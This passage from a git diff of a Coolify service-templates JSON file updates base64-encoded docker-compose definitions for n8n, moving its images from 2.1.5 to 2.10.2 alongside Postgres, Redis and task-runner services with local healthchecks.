CiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEwLjInCiAgICBjb21tYW5kOiB3b3JrZXIKICAgIGVudmlyb25tZW50OgogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4L2hlYWx0aHonCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIG44bjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", @@ -2905,7 +2905,7 @@ "n8n-with-postgresql": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9OOE5fNTY3OAogICAgICAtICdOOE5fRURJVE9SX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ044Tl9QUk9UT0NPTD0ke044Tl9QUk9UT0NPTDotaHR0cHN9JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEuNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUPSR7TjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUOi0xNX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIG44bgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1NjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ044Tl9SVU5ORVJTX1RBU0tfQlJPS0VSX1VSST0ke044Tl9SVU5ORVJTX1RBU0tfQlJPS0VSX1VSSTotaHR0cDovL244bjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "n8n", "workflow", @@ -2923,7 +2923,7 @@ "n8n": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9OOE5fNTY3OAogICAgICAtICdOOE5fRURJVE9SX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0RCX1NRTElURV9QT09MX1NJWkU9JHtEQl9TUUxJVEVfUE9PTF9TSVpFOi0yfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuOjU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdEQl9TUUxJVEVfUE9PTF9TSVpFPSR7REJfU1FMSVRFX1BPT0xfU0laRTotMn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0ke1NFUlZJQ0VfUEFTU1dPUkRfTjhOfScKICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX